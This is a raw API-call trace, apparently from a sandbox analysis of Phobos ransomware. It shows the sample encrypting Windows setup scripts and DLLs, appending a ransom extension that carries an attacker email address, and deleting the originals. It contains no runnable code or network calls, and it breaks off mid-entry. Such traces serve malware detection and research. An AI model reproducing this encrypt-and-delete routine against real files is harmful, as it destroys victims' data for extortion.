(hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.875] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.875] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.875] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.875] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.875] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.875] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.875] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.875] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.875] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.875] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.875] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.875] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.876] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.876] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.876] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.876] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.876] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.876] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.876] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.876] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.876] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.876] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.876] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.876] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.876] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.876] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.877] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.877] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.877] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.877] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.877] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.877] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.877] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.877] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.877] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.877] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.877] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.877] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.877] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.877] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.877] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.878] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.878] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.878] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.878] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.878] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.878] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.878] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.878] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.878] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.878] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.878] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.878] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.878] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.878] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.878] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.879] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.879] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.879] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.879] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.879] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.879] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.879] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.879] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.879] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.879] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.879] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.879] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.879] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.879] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.879] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0042.880] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0xffffffff) returned 0x0 [0043.872] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0043.872] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0043.987] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=577) returned 1 [0043.987] CloseHandle (hObject=0x310) returned 1 [0043.987] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 0x20 [0043.987] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0043.987] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0043.988] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0043.988] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0043.988] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0043.988] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10c8e10) returned 1 [0043.988] CryptSetKeyParam (hKey=0x10c8e10, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0043.988] ReadFile (in: hFile=0x310, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x241, lpOverlapped=0x0) returned 1 [0044.010] CryptEncrypt (in: hKey=0x10c8e10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x250, dwBufLen=0x250 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x250) returned 1 [0044.010] WriteFile (in: hFile=0x30c, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x250, lpOverlapped=0x0) returned 1 [0044.011] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc950) returned 1 [0044.011] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0044.011] CryptEncrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x60, dwBufLen=0x60 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x60) returned 1 [0044.011] CryptDestroyKey (hKey=0x10dc950) returned 1 [0044.011] WriteFile (in: hFile=0x30c, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x112, lpOverlapped=0x0) returned 1 [0044.011] CryptDestroyKey (hKey=0x10c8e10) returned 1 [0044.012] CloseHandle (hObject=0x310) returned 1 [0044.012] CloseHandle (hObject=0x30c) returned 1 [0044.012] DeleteFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 1 [0044.013] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0044.013] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0044.021] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=74) returned 1 [0044.021] CloseHandle (hObject=0x30c) returned 1 [0044.022] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 0x20 [0044.022] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0044.022] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0044.022] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0044.022] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0044.022] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0044.023] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10c8e10) returned 1 [0044.023] CryptSetKeyParam (hKey=0x10c8e10, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0044.023] ReadFile (in: hFile=0x30c, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x4a, lpOverlapped=0x0) returned 1 [0044.024] CryptEncrypt (in: hKey=0x10c8e10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x50, dwBufLen=0x50 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x50) returned 1 [0044.024] WriteFile (in: hFile=0x314, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x50, lpOverlapped=0x0) returned 1 [0044.025] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc8d0) returned 1 [0044.025] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0044.025] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x40, dwBufLen=0x40 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x40) returned 1 [0044.025] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0044.025] WriteFile (in: hFile=0x314, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0xf2, lpOverlapped=0x0) returned 1 [0044.025] CryptDestroyKey (hKey=0x10c8e10) returned 1 [0044.025] CloseHandle (hObject=0x30c) returned 1 [0044.025] CloseHandle (hObject=0x314) returned 1 [0044.029] DeleteFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 1 [0044.072] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0044.072] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0044.116] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=307) returned 1 [0044.116] CloseHandle (hObject=0x308) returned 1 [0044.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 0x20 [0044.117] GetFileAttributesW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0044.117] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0044.117] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0044.117] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0044.117] CreateFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0044.117] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10c8e10) returned 1 [0044.117] CryptSetKeyParam (hKey=0x10c8e10, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0044.117] ReadFile (in: hFile=0x308, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x133, lpOverlapped=0x0) returned 1 [0044.118] CryptEncrypt (in: hKey=0x10c8e10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x140, dwBufLen=0x140 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x140) returned 1 [0044.118] WriteFile (in: hFile=0x314, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x140, lpOverlapped=0x0) returned 1 [0044.119] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10c8e50) returned 1 [0044.119] CryptSetKeyParam (hKey=0x10c8e50, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0044.119] CryptEncrypt (in: hKey=0x10c8e50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x50, dwBufLen=0x50 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x50) returned 1 [0044.119] CryptDestroyKey (hKey=0x10c8e50) returned 1 [0044.119] WriteFile (in: hFile=0x314, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x102, lpOverlapped=0x0) returned 1 [0044.120] CryptDestroyKey (hKey=0x10c8e10) returned 1 [0044.120] CloseHandle (hObject=0x308) returned 1 [0044.120] CloseHandle (hObject=0x314) returned 1 [0044.121] DeleteFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 1 [0044.122] ResetEvent (hEvent=0x2d0) returned 1 [0044.122] SetEvent (hEvent=0x2d4) returned 1 [0044.122] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0044.122] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0044.138] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=17240) returned 1 [0044.138] CloseHandle (hObject=0x314) returned 1 [0044.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 0x80 [0044.139] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0044.139] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0044.139] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0044.139] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0044.139] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0044.187] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10c8e10) returned 1 [0044.187] CryptSetKeyParam (hKey=0x10c8e10, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0044.187] ReadFile (in: hFile=0x314, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x4358, lpOverlapped=0x0) returned 1 [0044.296] CryptEncrypt (in: hKey=0x10c8e10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x4360, dwBufLen=0x4360 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x4360) returned 1 [0044.296] WriteFile (in: hFile=0x30c, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x4360, lpOverlapped=0x0) returned 1 [0044.297] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dbd90) returned 1 [0044.297] CryptSetKeyParam (hKey=0x10dbd90, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0044.297] CryptEncrypt (in: hKey=0x10dbd90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x50, dwBufLen=0x50 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x50) returned 1 [0044.297] CryptDestroyKey (hKey=0x10dbd90) returned 1 [0044.297] WriteFile (in: hFile=0x30c, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x102, lpOverlapped=0x0) returned 1 [0044.297] CryptDestroyKey (hKey=0x10c8e10) returned 1 [0044.297] CloseHandle (hObject=0x314) returned 1 [0044.297] CloseHandle (hObject=0x30c) returned 1 [0044.298] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 1 [0044.299] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0044.299] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0044.307] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=18776) returned 1 [0044.307] CloseHandle (hObject=0x30c) returned 1 [0044.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 0x80 [0044.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0044.307] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0044.307] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0044.307] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0044.307] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0044.316] 